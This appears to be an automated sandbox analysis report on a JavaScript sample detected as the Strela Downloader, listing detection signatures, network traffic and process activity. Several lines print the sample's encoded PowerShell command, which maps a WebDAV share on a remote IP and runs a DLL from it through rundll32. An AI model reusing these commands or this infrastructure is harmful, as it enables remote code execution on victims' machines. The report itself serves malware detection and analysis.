Windows Analysis Report
25458290022066624563.js

Overview

General Information

Sample name: 25458290022066624563.js
Analysis ID: 1545846
MD5: 998cbd626108fc67bf4302bfd37a10bc
SHA1: f7e47a9dabb03f3f1b3d149bf3f99dde3450ad19
SHA256: cb9e9cdb11efbdd02a41ee8f1d2f9b20a043a70d9f5410a6e1b2373a3ff416d5
Tags: jsuser-kupschke
Infos:

Detection

Strela Downloader
Score: 92
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

JScript performs obfuscated calls to suspicious functions
Yara detected Strela Downloader
Encrypted powershell cmdline option found
JavaScript source code contains functionality to generate code involving a shell, file or stream
Opens network shares
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Uses known network protocols on non-standard ports
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Internet Provider seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sigma detected: Communication To Uncommon Destination Ports
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Software Vulnerabilities
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JavaScript source code contains functionality to generate code involving a shell, file or stream
Source: 25458290022066624563.js Argument value : ['"WScript.Shell"', '"powershell -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4AOAAyAEAAOAA4ADgA'] Go to definition
Suspicious execution chain found
Source: C:\Windows\System32\wscript.exe Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Child: C:\Windows\System32\rundll32.exe

Networking
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Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 49730 -> 8888
Source: unknown Network traffic detected: HTTP traffic on port 8888 -> 49730
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.4:49730 -> 94.159.113.82:8888
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: NETCOM-R-ASRU NETCOM-R-ASRU
Source: unknown TCP traffic detected without corresponding DNS query: 94.159.113.82
Source: unknown TCP traffic detected without corresponding DNS query: 94.159.113.82
Source: unknown TCP traffic detected without corresponding DNS query: 94.159.113.82
Source: unknown TCP traffic detected without corresponding DNS query: 94.159.113.82
Source: unknown TCP traffic detected without corresponding DNS query: 94.159.113.82
Source: net.exe, 00000003.00000002.1697715195.0000026E3EB3D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000003.00000003.1697315154.0000026E3EB21000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000003.00000003.1697276516.0000026E3EB3B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000003.00000002.1697578375.0000026E3EAE8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000003.00000002.1697632951.0000026E3EB21000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://94.159.113.82:8888/
Source: net.exe, 00000003.00000002.1697578375.0000026E3EAE8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://94.159.113.82:8888/4xpV
Source: net.exe, 00000003.00000003.1697315154.0000026E3EB21000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000003.00000002.1697632951.0000026E3EB21000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://94.159.113.82:8888/8
Source: net.exe, 00000003.00000002.1697578375.0000026E3EAE8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://94.159.113.82:8888/ih
Source: powershell.exe, 00000001.00000002.1699026960.0000025200001000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000001.00000002.1699026960.0000025200055000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000001.00000002.1699026960.000002520006E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore68

Spam, unwanted Advertisements and Ransom Demands
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Yara detected Strela Downloader
Source: Yara match File source: amsi64_6792.amsi.csv, type: OTHER
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6792, type: MEMORYSTR

System Summary
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Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\System32\wscript.exe COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8} Jump to behavior
Wscript starts Powershell (via cmd or directly)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4AOAAyAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAOwA7ADsAOwA7ADsAOwA7ADsAOwA7ADsAIAByAHUAbgBkAGwAbAAzADIAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADgAMgBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAMQA2ADUAMwA4ADEANgAxADAAMAAzADAAOQAzADUALgBkAGwAbAAsAEUAbgB0AHIAeQA=
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4AOAAyAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAOwA7ADsAOwA7ADsAOwA7ADsAOwA7ADsAIAByAHUAbgBkAGwAbAAzADIAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADgAMgBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAMQA2ADUAMwA4ADEANgAxADAAMAAzADAAOQAzADUALgBkAGwAbAAsAEUAbgB0AHIAeQA= Jump to behavior
Java / VBScript file with very long strings (likely obfuscated code)
Source: 25458290022066624563.js Initial sample: Strings found which are bigger than 50
Source: classification engine Classification label: mal92.rans.troj.spyw.expl.evad.winJS@8/3@0/1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6812:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xg5shtqi.yo2.ps1 Jump to behavior
Source: C:\Windows\System32\wscript.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\wscript.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" \\94.159.113.82@8888\davwwwroot\165381610030935.dll,Entry
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\25458290022066624563.js"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4AOAAyAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAOwA7ADsAOwA7ADsAOwA7ADsAOwA7ADsAIAByAHUAbgBkAGwAbAAzADIAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADgAMgBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAMQA2ADUAMwA4ADEANgAxADAAMAAzADAAOQAzADUALgBkAGwAbAAsAEUAbgB0AHIAeQA=
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\net.exe "C:\Windows\system32\net.exe" use \\94.159.113.82@8888\davwwwroot\
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" \\94.159.113.82@8888\davwwwroot\165381610030935.dll,Entry
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4AOAAyAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAOwA7ADsAOwA7ADsAOwA7ADsAOwA7ADsAIAByAHUAbgBkAGwAbAAzADIAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADgAMgBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAMQA2ADUAMwA4ADEANgAxADAAMAAzADAAOQAzADUALgBkAGwAbAAsAEUAbgB0AHIAeQA= Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\net.exe "C:\Windows\system32\net.exe" use \\94.159.113.82@8888\davwwwroot\ Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" \\94.159.113.82@8888\davwwwroot\165381610030935.dll,Entry Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: jscript.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrobj.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: samcli.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: drprov.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: ntlanman.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: davclnt.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: davhlpr.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: 25458290022066624563.js Static file information: File size 1549807 > 1048576

Data Obfuscation
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JScript performs obfuscated calls to suspicious functions
Source: C:\Windows\System32\wscript.exe Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:507 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:505 o: f:run a0:%22powershell%20-EncodedCommand%20bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4AOAAyAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAOwA7ADsAOwA7ADsAOwA7ADsAOwA7ADsAIAByAHUAbgBkAGwAbAAzADIA");IWshShell3.Run("powershell -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADE", "0", "false")

Hooking and other Techniques for Hiding and Protection
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Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 49730 -> 8888
Source: unknown Network traffic detected: HTTP traffic on port 8888 -> 49730
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1949 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1215 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7052 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6112 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: wscript.exe, 00000000.00000003.1657434163.000001F3451E6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1657587075.000001F345689000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1661570999.000001F345979000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1662187877.000001F3454F6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1661980292.000001F3451E9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1657238733.000001F34537C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1661769208.000001F344EE1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 